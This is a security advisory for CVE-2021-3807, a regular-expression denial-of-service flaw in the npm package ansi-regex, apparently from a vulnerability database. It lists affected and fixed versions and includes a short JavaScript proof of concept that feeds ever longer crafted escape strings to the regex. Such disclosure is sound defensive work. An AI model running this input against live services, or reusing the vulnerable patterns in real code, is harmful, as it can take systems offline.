NetSight
high7.5

CVE-2021-3807

Inefficient Regular Expression Complexity in chalk/ansi-regex

Impact

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`

Affected packages

EcosystemPackageAffectedFixed in
npmansi-regex>= 6.0.0, < 6.0.16.0.1

Affected products

VendorProductAffected versions
Ansi-Regex ProjectAnsi-Regex
from 4.0.0 before 4.1.1
Versions 3.0.0, 5.0.0, 6.0.0
OracleCommunications Cloud Native Core Policy
Version 1.15.0

Weakness classification

References